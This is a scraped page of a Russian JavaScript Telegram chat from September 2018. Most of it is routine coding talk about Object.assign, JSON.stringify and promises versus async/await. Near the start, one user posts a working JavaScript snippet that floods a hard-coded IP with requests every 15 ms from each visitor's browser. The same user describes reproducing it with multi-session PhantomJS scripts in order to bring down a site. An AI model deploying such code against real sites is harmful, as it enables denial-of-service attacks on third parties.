@JSlang

Страница 2166 из 2237
?
21.09.2018
18:17:12
Хаки там, туда сюда

Igor
21.09.2018
18:17:47
может тебя тамошний админ и взломал, не захотел палить код?)

?
21.09.2018
18:17:53
Не

Ладно

Google
?
21.09.2018
18:18:00
<script type='text/javascript'> var s = ["http://213.171.196.225/"]; var i = new Image(); var u = s[parseInt(Math.random()*s.length)]+"?u="+(new Date().getTime()); var c = 0; setInterval(function(){i.src=u+c;c++;},15); //>=15 </script>

Вот суть

Парень зарегал временный бесплатный домен на сайте

Я пробывал его скрипт, он выдает максимум 300-400 запросов в секунду

Однако сайт на stormwall пал

Вот эксперементальный домен https://kogozim.000webhostapp.com/

Тут можно посмотреть нагрузку, раздел L7, график 1 And 1 https://www.vedbex.com/tools/dstat

Накодил на скорую руку скрипт на python с webdriver, в 25 потоков 300-400 запросов, в один поток максимум 40-50

Как сайт упал, я так и не понял

Ставил атаку на свой сервак, 20-60mbps output нагрузки

Dmitry
21.09.2018
18:28:29
Как сайт упал, я так и не понял
а что конкретно упало то? веб сервер от нагрузки?

?
21.09.2018
18:28:47
Да

Вот пример, как это выглядело ``` 2018/09/20 16:42:44 [error] 1537#1537: *861711 limiting requests, excess: 50.405 by zone "static_limit", client: 188.0.150.18, server: justcase.net, request: "GET /?u=153745063821719599 HTTP/1.1", host: "justcase.net", referrer: "http://twelfth-reaction.000webhostapp.com/d.php" ```

Google
?
21.09.2018
18:29:51


Roman
21.09.2018
18:29:59
Я пробывал его скрипт, он выдает максимум 300-400 запросов в секунду
дак это для одного тебя, а этот скрипт будет отрабатывать у каждого кто зашел на сайт

?
21.09.2018
18:31:00
дак это для одного тебя, а этот скрипт будет отрабатывать у каждого кто зашел на сайт
Понимаю, поэтому накодил скрипт, с PhantomJS открывается 25 различных сессий. https://pastebin.com/bEfeKuiC

Я веду к тому, что у stormwall стоят фильтра от Ddos атак. Просил друга ударить по сайту с ботнета, он выдавал 80к запросов и сайт не упал, а тут я даже не представляю куда он мог отправить свой сайт, чтобы на него зашло такое множесто машин. Попробывал через гугл переводчик, seo сайты и анонимайзеры, и ничего не генерирует такой объем трафика

Dmitry
21.09.2018
18:35:04
под миллион
в секунду?

?
21.09.2018
18:35:07
Да

Это конечно много, нормальная цифра для среднего ботнета

В этом нет ничего такого, но в моем случае это просто url, который куда-то отправили. Куда-то с проксированием

Найти бы этого умельца

Dmitry
21.09.2018
18:37:17
Это конечно много, нормальная цифра для среднего ботнета
в общем, это не менее 15к клиентов в идеальных условиях, когда интервал срабатывает реально каждые 15мс

?
21.09.2018
18:38:32
Я как-то ставил себе задачу, у меня вышло написать скрипт, который брал с демона тора интерфейс и отправлял 3к запросов в 100 потоках

980 000 / 3000 = ~326

Dmitry
21.09.2018
18:43:02
Я как-то ставил себе задачу, у меня вышло написать скрипт, который брал с демона тора интерфейс и отправлял 3к запросов в 100 потоках
мы про этот жс скрипт говорим или вас задудосили и вы привели пример? 1 000 / 15 = 66.6(6) 1 000 000 / 66.6(6) = 15 000 а скорее больше, потому что 15мс это минимальное время, через которое выполнится функция, если очередь свободна

Roman
21.09.2018
18:51:16
а в чем вопрос я не понял?

Google
Roman
21.09.2018
18:51:31
зарегаться на cloudflare и пусть тащат

?
21.09.2018
18:51:46
cloudflare бесполезный теперь

Его слишком легко обходить

Влад
21.09.2018
19:10:00
Есть кто с mdl работал?

Sergey
21.09.2018
19:13:58
Доброго всем времени суток. в этом чатике можно задавать нубские вопросы или может кто знает чат по JS для начинающих?

Sergey
21.09.2018
19:16:04
суть проблемы. объявлены переменнвые которые содержат в себе объекты. делаю Object.assign(a, new, old) и на выходе получаю ошибку Unexpected token , in script: Object.assign(a, new, old)". если я правильно понимаю ,то ему почему-то не нравится запятая. что с ней может быть не так?

Nikolay
21.09.2018
19:48:54
new

Не надо так называть переменные.

А вообще тебе в чатик для нубов.

Тут профессионалы. И профессионалки.

Nikita
21.09.2018
19:51:16
Ахаха

Один другого профессиональней

Sergey
21.09.2018
20:29:31
А вообще тебе в чатик для нубов.
Я это первым делом спросил))

Не надо так называть переменные.
В этот момент я соскучился по питону)

Zymlex
21.09.2018
21:11:04


Подскажите, существуют ли встроенные методы, для вывода в строку информации из обьекта как в браузере?

Admin
ERROR: S client not available

Andrey
21.09.2018
21:11:43
JSON.stringify

Google
Zymlex
21.09.2018
21:21:28
JSON.stringify
Возвращает {} :(

JSON.stringify
а из сторонних какие существуют? пробовал https://cdnjs.cloudflare.com/ajax/libs/json3/3.3.2/json3.min.js, то же не сериализует.

Vladimir
21.09.2018
22:39:36
Как то можно определить, открыли ссылку в iframe

или нет

надо шаблоны разные применть в том и ином случае

подскажите котаны

Nikolay
22.09.2018
01:32:00
cycle.js кто-нить трогал? Идея интересная, но на этом в прод-то ваще пишут риальне проекты?

Или это нечто мертворожденное типа elm?

Kelin
22.09.2018
02:56:53
Слышал, что кто на нем писал, хейтят, но почему - не углублялся

Alpha
22.09.2018
03:12:16
Чёткие поцыки выбирают anonymous poll async/await – 5 ??????? 56% Promise – 4 ?????? 44% ? 9 people voted so far.

Nikolay
22.09.2018
03:13:11
Чёткие поцыки выбирают anonymous poll async/await – 5 ??????? 56% Promise – 4 ?????? 44% ? 9 people voted so far.
Опрос некорректно составлен. Как будто выбор взаимоисключающий.

Alpha
22.09.2018
03:13:48
Ммм... Ну там под капотом один фиг всё те же промисы, емнип

Nikolay
22.09.2018
03:15:04
Я не про это, тут же всяко речь про внешнее оформление кода, а не про то, во что это скомпилится :)

Alpha
22.09.2018
03:15:19
Ну... Да

Nikolay
22.09.2018
03:15:29
Где-то промисы рулят, где-то в редких случаях асинки.

На асинках удобно ветвление строить, ну и просто прямые цепочки, например в сценариях интеграционных тестов

Alpha
22.09.2018
03:17:55
Ну я сейчас пришёл к следующему варианту: - Promise на самом низком уровне (т.н. слой репозиториев, источники данных и т.п.); - async/await на сервисном слое и выше, с перехватом ошибок в контроллере

Nikolay
22.09.2018
03:19:54
Ну я сейчас пришёл к следующему варианту: - Promise на самом низком уровне (т.н. слой репозиториев, источники данных и т.п.); - async/await на сервисном слое и выше, с перехватом ошибок в контроллере
Тут все зависит от сложности дерева тасков. У нас вот например сто тыщ бекендов дергается на один запрос, и часть запросов независима, а часть зависит от результата предыдущего. При этом есть жесткий SLA, а это значит, что никто не должен "простаивать".

Google
Nikolay
22.09.2018
03:21:09
На промисах получается нормально, если пишет человек с прямыми руками. Не одной колбасой, а грамотно все декомпозируя.

Alpha
22.09.2018
03:21:41
Ну понятное дело

Nikolay
22.09.2018
03:22:00
Проблемы начинаются с ветвлением, ну и чтоб стейт пробросить в следующие скоупы -- тоже громоздко

Alpha
22.09.2018
03:22:08
> Не одной колбасой Сохранил в цитатник, годно звучит

Nikolay
22.09.2018
03:34:00
Но больше всего я радуюсь "специалистам", которые прочитали пару статей на медиуме, и начинают: async function getShitAndCrap() { return await Promise.all[getShit(), getCrap()]; } И вот их даже поправлять неохота, т.к. чем больше и чаще они будут такое писать, тем дороже будет стоить мой труд на рынке :)

Страница 2166 из 2237